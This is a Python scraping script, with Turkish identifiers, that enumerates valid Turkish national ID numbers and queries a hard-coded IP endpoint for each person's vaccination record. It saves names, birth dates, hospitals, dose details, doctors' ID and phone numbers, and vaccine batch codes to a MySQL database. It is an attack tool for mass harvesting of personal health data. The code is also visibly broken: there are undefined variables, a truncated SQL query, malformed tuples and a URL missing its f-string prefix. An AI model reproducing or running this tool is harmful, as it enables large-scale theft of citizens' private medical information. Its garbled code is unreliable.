#!/usr/bin/env python3 from primelib.OSINT import TC_NumarasıKiti as tckit import requests, json, time import mysql.connector db = mysql.connector.connect( host="localhost", user="root", password="", database="asi_data" ) cursor = db.cursor() sql = "SHOW TABLES LIKE 'aşı'" cursor.execute(sql) result = cursor.fetchone() # Tablo yoksa oluştur if not result: inital_exec = """CREATE TABLE aşı (id INT AUTO_INCREMENT PRIMARY KEY, tc VARCHAR(255), ad VARCHAR(255), soyad VARCHAR(255), uruntanımı VARCHAR(255), hastane VARCHAR(255), dogumtarihi VARCHAR(255), uygulamatarihi VARCHAR(255), dozbilgisi VARCHAR(255), dozsayısı VARCHAR(255), hekim VARCHAR(255), htc VARCHAR(255), hadı VARCHAR(255), hsoyadı VARCHAR(255), hgsm VARCHAR(255), karekod VARCHAR(255), barkod VARCHAR(255), partino VARCHAR(255), serino VARCHAR(255))""" cursor.execute(inital_exec) TotalCount = 0 def PrintBanner(): print(f""" This Software Powered By: ██████▒ ██████▒ ██████ ███ ███ ████████ ███████▒ ███████▓ ██████ ███ ███ ████████ ██ ▒██ ██ ▒██ ██ ███▒▒███ ██ ██ ██ ██ ██ ██ ███▓▓███ ██ ██ ▒██ ██ ▒██ ██ ██▓██▓██ ██ ███████▒ ███████▒ ██ ██▒██▒██ ███████ ██████▒ ██████▓ ██ ██░██░██ ███████ ██ ██ ▓██░ ██ ██ ██ ██ ██ ██ ██ ██▓ ██ ██ ██ ██ ██ ██ ▒██ ██ ██ ██ ██ ██ ██ ██▒ ██████ ██ ██ ████████ ██ ██ ███ ██████ ██ ██ ████████ """) PrintBanner() time.sleep(2) for raw_tc in range(11111111110, 99999999999): try: if tckit.gecerlilik_kontrol(str(raw_tc)): print(f"----------------------------") print(f"[INFO]: TargetTc: {str(raw_tc)}") req_url = "http://80.253.246.29/aşı.php?tc={raw_tc}" rawReq = requests.get(url=req_url) if rawReq.status_code == 200: try: ParsedData = json.loads(rawReq.text) except json.decoder.JSONDecodeError: print(f"[ERROR]: json error passing tc: {raw_tc}") continue if ParsedData["success"] == "true": target_tc = str(data["tc"]) target_ad = str(data["ad"]) target_soyad = str(data["soyad"]) target_uruntanımı = str(data["uruntanımı"]) target_hastane = str(data["hastane"]) target_dogumtarihi = str(data["dogumtarihi"]) target_uygulamatarihi = str(data["uygulamatarihi"]) target_dozbilgisi = str(data["dozbilgisi"]) target_dozsayısı = str(data["dozsayısı"]) target_hekim = str(data["hekim"]) target_htc = str(data["htc"]) target_hadı = str(data["hadı"]) target_hsoyadı = str(data["soyadı"]) target_hgsm = str(data["gsm"]) target_karekod = str(data["karkod"]) target_barkod = str(data["barkod"]) target_partino = str(data["partino"]) target_serino = str(data["serino"]) data_is = f""" ------------------------------- TC: {target_tc} AD: {target_ad} SOYAD: {target_soyad} URUNTANIMI: {target_uruntanımı} HASTANE: {target_hastane} DOGUMTARİHİ: {target_dogumtarihi} DOZBİLGİSİ: {target_dozbilgisi} DOZSAYISI: {target_dozsayısı} HEKİM: {target_hekim} HTC: {target_htc} HADI: {target_hadı} HSOYADI: {target_hsoyadı} HGSM: {target_hgsm} KAREKOD: {target_karekod} BARKOD: {target_barkod} PARTİNO: {target_partino} SERİNO: {target_serino} """ sql = "* FROM aşı WHERE tc=%s AND ad=%s AND soyad=%s AND uruntanımı=%s AND hastane=%s AND dogumtarihi=%s AND dozbilgisi=%s AND dozsayısı=%s AND hekim=%s AND htc=%s AND hadı=%s AND hsoyadı=%s AND hgsm=%s AND karekod=%s AND barkod=%s AND partino=%s AND serino=%s" values = (str(target_tc), str(target_ad), (str(target_soyad), str(target_uruntanımı), (str(target_hastane), str(target_dogumtarihi), (str(target_dozbilgisi), str(target_dozsayısı), (str(target_hekim), str(target_htc), (str(target_hadı), str(target_hsoyadı), (str(target_hgsm), str(target_karekod), (str(target_barkod), str(target_partino), (str(target_serino)) cursor.execute(sql, values) result = cursor.fetchone() if result[0] > 0: continue sql = "INSERT INTO aşı (tc, ad, soyad, uruntanımı, hastane, dogumtarihi, dozbilgisi, dozsayısı, hekim, htc, hadı, hsoyadı, hgsm, karekod, barkod, partino, serino) VALUES (%s, %s)" values = (str(target_tc), str(target_ad), (str(target_soyad), str(target_uruntanımı), (str(target_hastane), str(target_dogumtarihi), (str(target_dozbilgisi), str(target_dozsayısı), (str(target_hekim), str(target_htc), (str(target_hadı), str(target_hsoyadı), (str(target_hgsm), str(target_karekod), (str(target_barkod), str(target_partino), (str(target_serino)) cursor.execute(sql, values) db.commit() print(data_is, end="\r") TotalCount += 1 else: continue except KeyboardInterrupt: print("[INFO]: user exit...") break